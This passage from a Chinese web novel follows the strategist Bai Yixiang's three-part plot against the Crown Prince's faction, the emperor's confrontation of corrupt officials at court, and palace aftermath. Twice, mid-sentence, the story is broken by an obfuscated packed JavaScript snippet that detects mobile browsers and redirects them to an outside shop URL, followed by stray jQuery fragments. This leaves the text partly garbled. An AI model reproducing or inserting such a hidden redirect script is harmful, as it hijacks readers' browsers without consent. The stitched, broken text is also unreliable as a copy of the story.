白逸襄却气定神闲,似乎早有所料,他对一旁的石头道:“将图取来。” 石头应声,从背后拿出一卷皮囊,将那幅绘了两日的舆图小心翼翼地展开。那是一张经过删减的“活人水图”,图上依旧标注着郭亮一党贪墨银钱的流转路径,却刻意隐去了几个最关键的漕帮分舵,模糊了“龙四”这个核心人物的存在感,使其看起来,更像是一张单纯揭露官商勾结的罪证图。 “殿下,”白逸襄清朗的嗓音里带着一丝笑意:“我这里,亦有三策,以应此局。” 众人皆站起身来,走到舆图前,陈岚惊道:“这是……” 石头抢答道:“这是俺家主子这两天不眠不休画的!” 石头虽然不知道上面画的啥,却能看出这图很费功夫,也很漂亮,反正是主子画的,肯定是顶好顶好的东西! 白逸襄瞪了一眼石头,“休得胡言,我哪有不睡觉?” 石头嘟囔:“反正睡得不多……” 众人被二人的对话逗笑,却从中品出这主仆二人的关系非同寻常,他们如此自然流露,完全没有主仆之感,便知白逸襄平时,定是善待下人。 站在白逸襄身侧的赵玄,听闻此话,看向白逸襄的面庞,心中亦有一丝动容。 他确实比上次显得憔悴许多,可不知为何,此人病弱姿态,却与其俊逸的样貌相得益彰,不显突兀,却更显公子无双。 人人皆道那玉芙蓉乃天下第一美男,可实际上,平心而论,若论外貌,白逸襄却是更胜一筹。 如他所见,白逸襄从来不曾特意装点自己,日常多是朴素的巾帻青衫,看似寡淡如水,却不能掩盖其俊美与丰姿,可无论官绅还是市井传闻中,竟从未有人提及过他的样貌。 可若仔细想来,外貌……应是白逸襄最不足为道的优点了吧? 30.第 30 章 白逸襄制止了石头继续说话,他指尖轻点舆图,“此为第一策:臣斗胆,愿为殿下亲笔撰写奏表,详述朔津郡贪腐之案,并附上此图为证。奏表中,只陈官吏之罪,不涉东宫分毫。至于那背后真正的水路之王龙四,乃是殿下收用之利器,岂可轻易示于人前?” 冯玠与陈岚闻言,皆是目光一亮,抚须点头。此策,既能呈上功绩,又为将来留下了后手,实在是高明。 白逸襄话锋一转,眼中闪过一丝锐利:“然,只此一策,尚不足以让太子伤筋动骨。此为第二策。” 他从袖中取出一封早已写好的书信,“臣另备有一份详述太子在雍州如何劳民伤财、激起民怨的密告,连同这幅舆图,当由影护卫快马加鞭,匿名送往京城,呈于门下省谢安石侍中的案头。谢侍中为人刚正,又与太子素无瓜葛,由他发难,远比殿下亲自上奏,更具分量,更能引朝野共鸣。” 陈岚抚掌赞道,“借刀杀人,借势而为,先生此计,可谓高明!” 白逸襄谦虚的朝陈岚拱了拱手,道:“第三策——” 他看向赵玄,目光沉静:“殿下当再遣一名暗卫,携两封密信,星夜赶回京师,交予我府中管家白福。其中一封,是嘱咐他如何行事的家书;另一封,则是我与我父亲白敬德的对话,这封信,会不小心被我那不孝的堂弟看到,然后我那堂弟会告知太子。” 帐内众人皆是一愣。 冯玠问:“难道,知渊先生的堂弟与太子有所勾连?” “正是。”白逸襄嘴角微勾,“信中,我会‘揭露’六皇子楚王,是如何在背后散播童谣,构陷太子,意图渔翁得利。此信,白福会不小心让我堂弟白岳枫得知,白岳枫也定会‘无意间’窥得,并如获至宝地,密报给太子。” 陈岚的眉头紧紧蹙起,他思虑半晌,终是拱手问道:“先生之前二策,皆是上谋,在下拜服。只是这第三策,在下愚钝,实不解其深意。我等与太子已势同水火,为何还要多此一举,去离间他与楚王?” 白逸襄闻言,微微一笑:“陈参军以为,经此一事,太子殿下会倒台吗?” 陈岚一愣,随即摇头:“储君乃国之根本,陛下虽会震怒,但若无谋逆之实,断不会轻易废立。” “这便是了。”白逸襄收起笑容,语气变得意味深长,“如今朝中,秦王殿下锋芒已露,正是陛下最为瞩目之时。若将太子逼得太紧,穷追猛打,反会令陛下觉得秦王殿下心胸狭隘,有觊觎储位之心。反之,为太子寻一个新的对手,令其星火燎原,处处皆敌。殿下则可置身事外,坐山观虎斗。如此,在陛下眼中,秦王殿下依旧是那个只知办差,不涉党争的纯臣。这,便是陛下的制衡之术。” “陛下最善玩弄权术,却又最念亲情,皆因,陛下登基之路,曾致兄弟相残,此乃陛下心病,若秦王殿下顾念兄弟之情,则大事成矣。” 此言一出,帐内众人,皆是恍然大悟,如拨云见日! 彭坚依旧是一脸茫然,他挠了挠头,凑到冯玠身边,低声问:“冯参军,啥意思啊?” 冯玠笑着摇了摇头,低声为他解释道:“彭将军,先生的意思是,咱们不但不能把太子往死里打,还得时不时地给他找点别的麻烦,让他忙起来,这样,陛下才不会觉得咱们秦王殿下是太子最大的威胁啊!” 彭坚这才恍然大悟,他对着白逸襄的方向,心悦诚服地一抱拳:“知渊先生这心眼儿,比咱们军阵的八卦阵还绕!在下佩服!” 赵玄听完白逸襄的话,心中早已翻涌如潮,面色却不显露。 父皇的这份心思,自己身为儿子,与其相处颇多,又经历了种种交锋,自然清楚其脾气秉性。可鲜少于朝堂露面的白逸襄竟然对他那心机深沉的父皇了如此了解。 他不由得想,还有什么是白逸襄不知道的? 恐怕自己此前的种种心思,他也早已心如明镜了吧。 也在此时,他抬起双眼,刚好与白逸襄对视,尽管白逸襄眼神清明,也让此时的赵玄顿生危机。 他不着痕迹的别开眼,背起双手,转身走向主位。 白逸襄却紧紧跟随赵玄,看着他缓缓转身,又缓缓落座,见他面色犹疑,便继续对赵玄道:“待到朝堂之上,御史台发难之时。晋王、楚王一党,定会如饿狼扑食,全力攻讦东宫。殿下所要做的,只是陈述朔津实情,痛斥地方贪腐,对太子殿下,则一字不提。如此,方合纯臣之道。” 白逸襄凤目如炬,身体微倾,写着“三策定”的斑竹扇在赵玄眼前轻摇,等他答话。 赵玄微微垂目,调整了心绪,稍作思量,道:“就依先生所言。” 赵玄声音刚落,冯玠连忙指着另一张案上的纸笔道:“先生请!” 陈岚道:“我来为先生磨墨!” 白逸襄不再多言,径直走到案前,提笔蘸墨。 不过半个时辰,三封内容各异、文风迥然的奏表与书信,便已一气呵成。其文采斐然,逻辑缜密,每篇书信字体各有不同,给陛下的奏表为工整楷书,给谢安石的信为寻常隶书,家书则为行书,最有白逸襄本人特色。 赵玄看过三份文书,不再有半分迟疑,对彭坚下令: “备八百里加急!即刻送往各处!除去朝廷奏表,其余书信须隐秘发出。” “诺!”彭坚接过信笺,领命出帐。 陈岚看着彭坚远去的背影,附到冯玠耳边小声道:“你有没有发现……知渊先生,每次都是三策。” 冯玠眼珠看向上方,想了想,“你这么一说……似乎,的确。” 陈岚道:“你看到他扇面上写的字了吗?” 冯玠看向白逸襄手中的斑竹扇,“嘶”了一声。 冯玠惊道:“真是三策定啊!” 陈岚道:“这三,可是玄之又玄呐!” 冯玠抚须点头,不由得开始深思那“三”字中的玄理。 * 洛阳显阳殿内,四角的螭首金炉中升起缕缕龙涎香的青烟,香气沉郁,却驱不散殿中那股凝滞如冰的肃杀之气。百官垂首,鸦雀无声,连呼吸都仿佛被这无形的威压所遏制。 因今日为常朝,所以御榻之上的天子赵渊身着一身淡金色常服,他瘦长的手指,正轻轻敲击着御案上那份由秦王赵玄八百里加急呈上的奏疏。奏疏他已看过数遍,其上所述,已了然于心。 奏疏详报了朔津郡一地的贪腐脉络,罪责止于郡守李世昌与散骑常侍郭亮,虽也牵扯了几个东宫外围的属官,却如蜻蜓点水,未曾深入。整份奏疏,既显其能,又存了兄弟间的“体面”。 赵渊的目光幽深,无人能窥其心中所想。 就在这令人窒息的沉寂中,门下省侍中谢安石手持象笏,缓步出列。他身形清癯,立于百官之中,却如鹤立鸡群,自有一股凛然不可侵犯的清正之气。 “启奏陛下,臣,有本奏。” 赵渊目光落在这位素以清正闻名的老臣身上,淡淡吐出一个字:“讲。” “臣奉诏纠察百司,近日偶得两份文书,事关国本,不敢不奏。”谢安石说着,自宽大的袍袖中取出两卷奏表,由中常侍靳忠高高捧起,呈于御前。 赵渊的目光先落在了第一份上。那是一份由御史台数名言官联名弹劾的奏疏,其上字字泣血,痛陈太子赵钰在雍州如何劳民伤财,于灾民饥寒交迫之际,大兴土木修建“祈福禳灾功德碑”;又如何纵容属下盘剥地方,致使民怨沸腾,童谣四起。其言辞之激烈,用语之犀利,比之秦王那份奏疏,何止严厉十倍! 赵渊的面色又阴沉了几分。他将那份弹劾奏折放到一旁,缓缓展开了第二份。 只一眼,他那双波澜不惊的眸子里,便陡然射出一道骇人的精光! 那是一幅舆图,此图以茧纸拼接而成,其上血色笔墨,脉络繁复,标注详尽,将一具肌体从皮肉到骨髓,层层剖开,将其内里所有的腐烂与脓疮,都血淋淋地暴露在光天化日之下! 图中不仅有朔津,更有青、兖二州的水陆脉络,无数朱砂标记的漕帮、私港、钱庄、当铺,如一张巨大的蛛网,将郭亮一党贪墨的每一笔国帑,如何通过水路转运,如何洗白,最终又如何如百川归海般汇入东宫诸位属官乃至京中某些权贵府邸的路径,都标注得一清二楚! 这已非地方贪腐,而是一张足以动摇国本的“黑金水道”! 赵渊捏着图卷的手,青筋暴起。 几乎鲜少见到赵渊暴露情绪的百官,皆是屏住了呼吸。 赵渊强压怒意,低声道:“靳忠,你将谢侍中的奏表,宣读一下。” 靳忠忙拿过奏表,朗声阅读起来,不待靳忠读完,散骑常侍郭亮已经冲出百官之列,大叫道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818331|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“陛下!谢侍中血口喷人,妄图栽赃!请陛下明察啊!” 赵渊指了指桌上的绢帛舆图,道:“拿给他看。” “诺!” 靳忠领命,连忙拿着舆图呈给郭亮,郭亮身边的臣子也都伸着脖子看向舆图,御榻上的赵渊又对百官道:“你们都过去看看。” 得了皇帝的首肯,众大臣一窝蜂的凑过去一探此图究竟,看完后惊呼声,讨论声四起。 “陛下!”郭亮此时早已吓得魂不附体,他急忙向前扑去,跪伏于地,高声叫屈:“此图……此图来路不明,定是奸人伪造,意图构陷东宫,动摇国本!请陛下明察!” “正是!”侍中魏伦亦紧随其后,叩首于地,“此必是那些觊觎储位之人,串通一气,伪造罪证,以行争储之阴谋!此等手段,何其毒也!” 赵渊微微眯眼,这两个狗奴,一口一个东宫,却只字不提自己问题,意图将此罪引至太子身上,昭然若揭。 魏伦的出列,使得东宫一派的官员,纷纷出列,哭拜于地,七嘴八舌地为太子辩解,言辞间,已将矛头直指秦、晋、楚三王。 晋王赵辰上前一步,对着郭亮等人怒目而视:“父皇!儿臣以为,郭常侍之言,实乃欲盖弥彰!此图之上,人名、地名、银钱数目,一一俱全,岂是凭空伪造得出?若非心中有鬼,何至如此惊惶失措,反诬他人!” 楚王赵奕则显得更为从容,他对着御榻一揖,声音柔和儒雅:“父皇,此图真伪,不难分辨。图中言及,孟津上游有一‘违规大坝’,乃郭党‘灭罪之器’。此等水利营造,涉及算学、土木、水文之理,非同小可。其尺寸、工料、蓄泄之法,皆有定数。若真是伪造,必然错漏百出,不堪一验;若为实情,则其心可诛,其行可鄙,其祸之烈,亦不言自明。” 吏部尚书张济立即出列道:“楚王殿下所言极是,陛下,此图可让少府司查验!” 赵渊想了想,道:“宣赵衡上殿。” 群臣皆是一怔。八皇子赵衡?那个整日埋首于工坊,与齿轮木屑为伍,见人则讷于言的“机巧皇子”?陛下宣他上殿,显然,他不相信被尚书省制约的少府司。 赵渊令下,宫中常侍已然开始接力宣召,只听得显阳殿门外,声声回音入内,令殿内气氛多了几分肃杀之感。 不多时,一个身形清瘦、神色带着几分慌张的年轻皇子,缓步走入殿中。他似乎极不适应这等庄严肃穆的场合,眼神微微闪躲,对着御榻的方向,行了一个略显笨拙的稽首之礼。 “儿臣赵衡,参见父皇。” 赵渊未有多言,只命靳忠将那幅完整的“活人水图”展开,平铺于赵衡面前的地上。 “衡儿,你来看看,此图所绘之水坝,于营造之术上,可有破绽?其利害若何?” “儿臣遵旨!” 赵衡一见那繁复的图卷,原本有些闪躲的眸子,瞬间亮了起来。他那略显佝偻的身子也挺直了几分,竟是直接跪坐于地,认认真真查看起来。 众臣也在他查看舆图之时,交头接耳,窃窃私语。 大概过了半柱香的时间,赵衡终于起身回话:“回父皇,此图……此图堪称神来之笔!其上所标尺寸、斗拱、榫卯之法,皆合《考工》之要,分毫不差。尤其是这泄洪渠与坝体之比,乃是‘重蓄轻泄’之险工,其意不在防洪,而在……在‘人为决堤’!” 他抬起头,眼中闪烁着一种匠人发现绝妙之作又洞悉其险恶用心的复杂光芒,“若依图上水文数据推算,此坝一旦崩塌,其水势之凶,足以精准冲毁下游数座仓储,将所有账目罪证涤荡一空,却又因故道分流,不至泛滥成灾,酿成滔天大祸而引火烧身。父皇,此……此非天灾,乃是算尽天时地利之人祸!” 他一番话,从水利、营造、算学等诸般技艺的角度,无可辩驳地论证了此图的真实性,与那座“违规大坝”的巨大危害。每一个数据,每一个推论,都如同一柄无形的重锤,狠狠砸在太子党众人的心上。 郭亮与魏伦等人仍想狡辩,却被赵渊厉声喝止。 “好……好一个‘人祸’!” 赵渊猛地站起身,快步走到跪立的郭亮面前,抬起一脚将他踹翻在地。 “传朕旨意!”赵渊声音如雷,响彻整个显阳殿,“命太子赵钰、秦王赵玄,即刻卸下所有公务,星夜返京!” 31.第 31 章 数日后,深秋的冷风卷着枯叶,刮过洛阳的承天门大街。街边百姓与闻讯而来的官吏们,早已将道路两侧挤得水泄不通,皆引颈而望,翘首以待。 辰时刚过,远处官道上便扬起一片烟尘。一队盔甲鲜亮的东宫侍卫簇拥着数辆华盖马车,如风驰电掣般疾驰而来。为首的明黄色车盖与金线绣的团龙,昭示着车驾主人的尊贵身份。 正是太子赵钰的车队。 只是,与离京时那般仪仗万千、前呼后拥的盛大场面相比,此刻的车队却透着一股难言的仓皇。八匹神骏的北境雪鬃马身上溅满了泥浆,拉着车驾一路狂奔,车轮滚滚,几乎未有片刻停歇。车帘紧闭,将内里的一切窥探尽数隔绝,只余下那份狼狈的急切,昭然若揭。 车队未在城门做任何停留,甚至未理会前来迎驾的官员,便在一众复杂的目光中,匆匆驶入宫城,消失在重重宫门之后。 “太子殿下这是……犯了何事?”人群中有人低声私语。 “嘘!慎言!听闻是黄河之事,陛下震怒。” “唉,去时何等风光,归时却……” 百姓的议论声未落,官道尽头,又一队车马缓缓行来。 这一队人马,没有明黄的车盖,没有成队的侍卫,只有十数辆寻常的马车,由一些衣着朴素的兵士护送着。车队行进得极慢,仿佛怕惊扰了百姓。 众人正自疑惑,却见车队在城郊专为流民搭建的安置点前停了下来。 车帘掀开,一身深蓝常服的秦王赵玄亲自下马。他面带风霜,身形却愈发挺拔。他没有理会闻讯赶来的京兆尹,而是转身,亲自将车上的老人、妇孺一一搀扶下来。 那些流民衣衫褴褛,面有菜色,眼中却无半分惊恐,反而对着赵玄,露出了发自内心的感激与孺慕。 “殿下……若非您一路护送,我等老弱,怕是早已冻毙于道旁了!”一位须发皆白的老者,颤巍巍地跪倒在地。 “殿下仁德,我等永世不忘!”霎时间,数百流民齐刷刷地跪倒一片,泣不成声。 赵玄连忙上前,亲手将那老者扶起,又对着众人团团一揖,朗声道:“诸位乡亲受苦了。玄奉父皇之命治河,使百姓安居,乃分内之责。如今大堤已固,流民已安,诸位京籍父老也已返乡,且先在此处安心歇息,朝廷必有妥善安置。” 说罢,他才转身,对着早已在一旁候着的京兆尹司马淮,拱手道:“府尹大人,此乃最后一批自朔津返乡的流民,孤已护送至此。他们的名册户籍,皆在此处,便交予府尹了。” 司马淮慌忙还礼,双手接过那厚厚一叠名册,只觉得重若千斤。 赵玄又道:“本王已上奏父皇,呈《灾民善后六条》,为其请命。其一,请免灾区三年赋税,以使其休养生息;其二,请开国库,拨专款为其修缮屋舍;其三……” 他当着满城百姓与官吏之面,将那六条详尽周全的善后之策,一一公布。条条切中要害,字字皆为民生。 “秦王殿下仁德!”人群中,不知是谁第一个高呼出声。 紧接着,“秦王仁德”之声,此起彼伏,响彻云霄! 赵玄在一片颂赞声中,再次对着百姓深深一揖,这才翻身上马,带着彭坚等寥寥数名亲随,不入宫城,径直回了自己的王府。 * 待到两拨皇子的车驾都已远去,围观的人群渐渐散了,一辆更不起眼的青帷小车,才从官道旁的一处林间小径中,慢悠悠地驶了出来。 赶车的,是壮硕如山的石头。他今日换下了一身短打劲装,穿了件半旧不新的灰色布袍,看着像个寻常人家的仆役。 车帘被一只骨节分明的手轻轻掀开,露出了白逸襄略带苍白的面容。他看着远处巍峨的洛阳城郭,长长地舒了一口气。 “郎君,咱们……这就回府了?”石头问道。 “不急。”白逸襄摇了摇头,目光落在方才赵玄安置流民之处,嘴角勾起一抹不易察觉的笑意,“石头,你可知,方才秦王殿下那一番举动,胜过千军万马?” 石头挠了挠头:“俺不懂。俺只知道,二殿下是个好人,不像太子爷,就知道自个儿快活。” “好人?”白逸襄无奈的轻笑一声,在权利面前,哪有纯粹的好人?不过是手段高下之分罢了。 连他自己,也不能用“好人”一以概之。 但这个道理,石头这样淳朴的人,却是不会懂的。 白逸襄放下车帘,声音隔着帘布传来,带着几分慵懒的疲惫:“走吧,回府。” “好嘞!” 石头应了一声,轻甩马鞭,那辆朴素的马车,便汇入了归城的人流之中,悄无声息地驶向了白府。 * 天子一怒,伏尸百万。虽未见血,然其威已如霜刃,加于某些人的颈上。 散骑常侍郭亮的府邸,便被羽林卫围了个水泄不通。对外宣称是“护卫”,实则府门落锁,禁绝出入,与圈禁无异。 往日里车水马龙的府门前,此刻只余下寒风卷着落叶,萧瑟凄凉。 府内,郭亮再无往日于朝堂之上的半分从容。 他虽未下狱,却知时日无多。 他如一头被困于笼中的老兽,在厅堂内来回踱步,口中不住地咒骂着。他时而将价值连城的琉璃盏狠狠掼于地上,听那一声脆响,时而又冲到门口,对着那些面无表情的禁军校尉咆哮怒吼。 然而回应他的,只有冰冷的甲胄与漠然的眼神。 暴怒过后,便是深入骨髓的恐惧。 他遣心腹家仆,从后院的狗洞中钻出,携带重金与亲笔信,去联络往日那些称兄道弟、推杯换盏的党羽。 可信送出去了,却如石沉大海,杳无音信。 那些曾信誓旦旦与他“共富贵”的同僚,此刻皆如避瘟神般,唯恐与他沾上半分干系。 树倒猢狲散,墙倒众人推。 这亘古不变的道理,郭亮虽也明白,然而此刻,才算真正尝到了滋味。 * 白逸襄归家的马车刚在府门前停稳,早已翘首以盼的太傅白敬德便亲自迎了出来。他看着儿子虽仍然瘦弱,但精神尚可,那颗悬了数月的心,才算落回了原处。 父子二人并未在前厅多做寒暄,便径直入了书房。 白逸襄不顾旅途劳顿,甚至未及饮一口热茶,便从袖中取出一卷早已写就的奏疏,双手奉于父亲面前。 “父亲,此乃儿子在途中草拟的弹劾之本,还请父亲过目。” 白敬德接过奏疏,展开细观。只见其上笔力遒劲,入木三分,将郭亮一党如何结党营私、贪墨国帑、欺上瞒下、草菅人命的罪状,罗列得清清楚楚,每一条皆附有详实的佐证,可谓铁证如山。 然通篇奏疏,虽将郭亮一党批驳得体无完肤,于太子赵钰,却笔锋一转,极尽回护之能事。奏疏中言道,太子殿下初至青州,便察觉地方官吏阳奉阴违,多有掣肘。为求实证,殿下不惜以身为饵,假意听信郡守之言修建功德碑,实则暗中令心腹查访,这才得以揭开这惊天大案。然罪臣党羽众多,耳目遍地,太子殿下身处险境,亦是举步维艰…… 这番说辞,可谓是将黑的说成了白的。既将太子从一个“昏聩无能”的储君,塑造成了一个“为查案而忍辱负重”的孤胆英雄,又不动声色地解释了其种种荒唐行径,可谓用心良苦。 白敬德看完,抚须良久,才缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823301|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓点头,眼中满是赞许与欣慰:“好,好啊,知渊,你此番谋划,既保全了东宫体面,又将我白家从这潭浑水中摘了出来。” 他将奏疏小心收好,“为父已不问政事多年,此事不便由我亲自去办,还是得劳烦你谢世伯。我这就去一趟侍中府上,与他分说一二。 “父亲莫急,明日再去不迟。” 白敬德转了转眼珠,道:“也好!” “有劳父亲。”白逸襄躬身一揖。 “你我父子,何言劳烦。”白敬德扶起白逸襄,道:“来人,传膳!就在书房里,备些清淡滋补的菜肴,再温一壶上好的屠苏酒,为郎君接风洗尘。” 不多时,几样精致的小菜与一壶温热的屠苏酒便被端了上来。父子二人于榻上对坐,撤去繁文缛节,只如寻常人家一般,对饮闲谈。 “此次青州之行,定是惊险万分,妙趣横生,快与为父细细说来。”白敬德为儿子倒了一杯茶水,给自己斟满一杯米酒,眼中满是好奇与关切。 白逸襄便将此行种种,择其要者,娓娓道来。从官船上的“无为”清谈,到功德碑下的童谣四起;从朔津郡的雷霆立威,到王尚书府上的“负荆请罪”。他讲得平淡,白敬德却听得心惊肉跳,时而抚掌赞叹,时而蹙眉深思。 待听到赵玄竟能放下亲王之尊,亲赴士族府邸赔罪,并最终感化士族、共赴国难时,白敬德再也按捺不住,击节赞道:“想不到,秦王竟有此等胸襟气魄……” 他看着儿子,目光灼灼地问道:“知渊,依你之见,这位秦王殿下,为人究竟如何?” 白逸襄放下酒杯,神情变得前所未有的郑重。 他看着父亲,一字一顿地道:“父亲,秦王殿下,雄才伟略,胸怀天下。” 接着,白逸襄又用只有两人能听到的声音小声道:“若他日能承继大统,必是一位……千古明君。” 白敬德睁大眼睛,“千古明君……” 这四个字,让白敬德心头剧震。他没想到,一向眼高于顶的儿子,竟会对赵玄有如此之高的品评。 他沉默了片刻,眼神变得复杂起来,压低声音试探着问道:“你……是打算将我白家百年的基业,都押在他的身上了?” “正是。”白逸襄答得斩钉截铁,没有半分犹豫。 白敬德长长地叹了一口气,端起酒杯,一饮而尽,微辣的酒液入喉,烧得他心中百味杂陈。“知渊,你可知,此路何其艰难险阻?太子虽失德,然其位乃是正统,朝中盘根错节,党羽众多,另又有诸多皇子对储位虎视眈眈,四皇子赵辰、六皇子赵奕皆不容小觑。我白家若易帜投向在朝中无有根基的秦王,无异于孤舟逆水,稍有不慎,便是万劫不复啊!” “儿子知道。”白逸襄凤眼微眯,似笑非笑,温暖舒适的房间,还有可口的佳肴,驱散了他身上的病弱之气,他恢复了正常的音量,继续道:“父亲,前人云,‘知其不可而为之’。儿子所谋,非为白家一时之荣辱,亦非为个人之功名。而是为这天下苍生,为我大靖能有千秋万代之基业!” “为此,逸襄愿鞠躬尽瘁,死而后已!” 白敬德怔怔地看着自己的儿子,看着他那单薄却挺直的脊梁,看着他眼中那份超越了年龄的决绝与担当,只觉得一股热血从心底直冲而上,眼眶竟有些湿润。 他缓缓起身,双手扶住儿子的肩膀,用力地拍了拍。 “好……好……好!”他连道了三个好字,声音已有些哽咽,凑近白逸襄小声道:“我儿竟有如此鸿鹄之志,为父……今日方才尽知!你尽管放心去做,从今往后,为父便是你最坚实的后盾!我颍川白氏,愿倾全族之力支持我儿,助秦王……成此霸业!” 32.第 32 章 翌日清晨,天光微熹。 一辆朴素无华的马车自白府侧门悄然驶出,避开主街的喧嚣,径直往侍中谢安石的府邸而去。车内,端坐着的正是当朝太傅白敬德。 与此同时,秦王赵玄亦已接到入宫面圣的旨意。 御书房内,依旧是那熟悉的、令人屏息的龙涎香气。天子赵渊端坐于御案之后,静静地翻阅着手中的一卷书。 一身红黑朝服的赵玄,神态从容的步入御书房,单膝跪地,拱手施礼。 “儿臣参见父皇。” “起来吧。”赵渊并未抬头,只是淡淡问道:“朔津之事,办得不错。” “皆赖父皇天威,儿臣不敢居功。”。 赵渊这才放下书卷,抬起眼,仔细的审视着自己的儿子,缓缓道:“朕听闻,你在朔津,行霹雳手段,斩了十数名贪官,又以天子节钺,震慑了太原王氏?” “回父皇,确有此事。”赵玄并未辩解,“朔津官吏,盘根错节,积弊已深。若不行雷霆之法,恐新政难行,有负父皇所托。儿臣行事操切,有失稳妥,请父皇降罪。” 赵渊沉默了片刻,脸上那紧绷的线条,竟微微柔和了几分。他从御案上拿起一份早已备好的奏疏,递给一旁的靳忠。 “这是你昨晚呈上来的《灾民善后六条》,朕看了,写得很好。免赋税、修屋舍、发耕牛、抚孤寡……条条都切中肯綮,可见你是真正将百姓疾苦放在了心上。” “为父皇分忧,乃儿臣本分。” “好一个分内之责。”赵渊点了点头,话锋却倏然一转,“只是,这般周全的策论,不似你这脾性写得出的。说吧,是何人为你参谋?” 赵玄心中一凛,面上却故作坦然,拱手道:“父皇明鉴。儿臣在朔津推行新政,确曾遇阻。幸得……幸得东宫的白詹事相助,大哥虽远在清平郡,却心系国事,特命白逸襄全程参谋治水一事。他抱病在身,仍数次修书与儿臣,提出诸多建言。朔津之事如此顺利,也有大哥和白逸襄的功劳。” 这番话,虽未明说善后六条出自谁手,赵渊却已然明了。 “太子……白逸襄……”赵渊的眉毛几不可见地挑了一下,他靠回御榻,枯瘦的手指轻轻敲击着扶手,发出“笃、笃”的轻响。 御书房内,再次陷入了那熟悉的、令人心悸的沉寂。 良久,赵渊才发出一声几不可闻的叹息,那声音里,竟带着一丝罕见的怅惘与温和,他对白逸襄并未多问,而是突然道:“玄儿,你……很像你的母亲。” 赵玄闻言,身子微微一震,垂下了眼帘。 “德妃她……在时,亦是这般模样。貌美贤德,心性纯良,却也刚直,眼里揉不得半点沙子。”赵渊的目光仿佛穿透了眼前的儿子,望向了遥远的过去,“她去得早,留下你孤身一人在宫中。是朕……忙于政务,疏于对你的关怀了。” “父皇言重了。”赵玄的声音低沉了几分。 “吾儿已经长大,能为朕分忧,朕心甚慰。”赵渊收回思绪,语气又恢复了帝王的威严,“只是,你这性子,终究是过于刚直了些。水至清则无鱼,人至察则无徒。此次朔津之事,你虽有功,却也得罪了青州的士族,若不妥善处理,必有后患。你日后行事,当收敛锋芒,多学学为人处世的圆融之道。” “儿臣,谨遵父皇教诲。” 君臣父子,一番奏对,看似温情脉脉,实则机锋暗藏。 待赵玄躬身退出御书房,手心已是微微湿润。 …… 赵渊命靳忠将秦王送至殿门,这同往日,是绝无仅有的礼遇。 “殿下此番朔津之行,雷霆手段,菩萨心肠,实乃我大靖之福。”靳忠躬着身子,那素来只对天子一人谄媚的嗓音,此刻却带着一丝恰到好处的、近乎真诚的恭维,“陛下今日龙心大悦,奴婢在旁侍奉,亦感圣心之慰。殿下乃国之栋梁,日后……不知奴婢有无福泽仰仗殿下。” 赵玄微微停顿,淡然回了一句:“有劳常侍了。” 声音不高,听不出亲近或疏离,只余下一份天家皇子的从容与威仪。 靳忠目送赵玄远去,寒风吹过,卷起他宽大的袍袖,他那双总是半眯着的眼睛里,此刻却精光闪烁。 原以为,这位秦王不过是陛下用以制衡东宫、敲打外戚的一枚棋子,风头再盛,亦不过是镜花水月,一时之选。 谁曾想,他竟真能于那盘根错节、固若金汤的朔津,硬生生劈开一条生路!斩酷吏以安民心,退士族以立君威,桩桩件件,皆是快刀斩乱麻的狠辣手腕。 更难得的,是方才在御书房内的那番应对。 换做任何一个年轻皇子,面对这般天恩垂问,怕是早已心神摇曳,或急于表功,或感激涕零,稍有不慎,便会落入陛下布下的言语陷阱。 可这位秦王殿下,却对答如流,进退有据,滴水不漏。他将功劳恰到好处地分润给太子和白逸襄,既显了自己不贪天功的胸襟,又恰好击中陛下看重亲情的心思。面对陛下的“敲打”,他更是顺势而为,坦然认下“行事操切”之名,将一个刚正不阿、一心为公却不善权谋的“纯臣”形象,刻画得入木三分。 靳忠在宫中侍奉数十年,人可见得多了,似赵玄这般的人才,他却难见…… 靳忠思绪电转,心中计较已定,再无半分犹疑。 他整了整衣冠,脸上重新挂上了那副谦卑恭顺的笑容,转身便欲回御书房继续陪驾。 谁知他刚一回身,便与一个端着食盘的小黄门撞了个满怀。 “砰”的一声,食盘落地,上好的官窑瓷碗摔得粉碎,温热的羹汤溅了靳忠一脚。 “没长眼的东西!”靳忠心中的算计被这一下撞得烟消云散,一股无名邪火直冲头顶。他看也不看,抬腿便是一脚,正正踹在那小黄门的胸口。 那小黄门被踹得倒飞出去,在冰冷的地面上滚了两圈,却顾不得疼痛,连滚带爬地跪了回来,重重叩首,声音里满是惊恐:“干爹饶命!奴婢该死!奴婢该死!” 靳忠看着他那张因恐惧而扭曲的年轻脸庞,心中的暴戾之气却愈发旺盛。他冷哼一声,用鞋尖挑起小黄门的下巴,“又是你?!你叫刘振吧?” “是,是刘振。” “你以后叫刘废吧!咱家方才教你的规矩,都喂到狗肚子里去了?连路都走不稳,还想在宫里当差?” “奴婢……奴婢是见天色已晚,想为干爹送些宵夜……” “宵夜?”靳忠冷笑,甩开他,“陛下晚膳都还没进,给我送宵夜,你是想让我快点死吗?去!将御溷给咱家清扫干净!若让咱家闻到一丝秽气,咱家便让你将那秽物都吃了!” “是……是!奴婢遵命!奴婢这就去!”刘振如蒙大赦,也顾不得擦拭嘴角的血迹,连连叩首,随即手脚并用地爬起,踉踉跄跄地朝着御书房后深处那专供天子所用的“御溷”方向跑去。 靳忠看着他狼狈逃窜的背影,这才满意地“哼”了一声,掸了掸袍角上并不存在的灰尘,仿佛方才什么都未曾发生过,再次 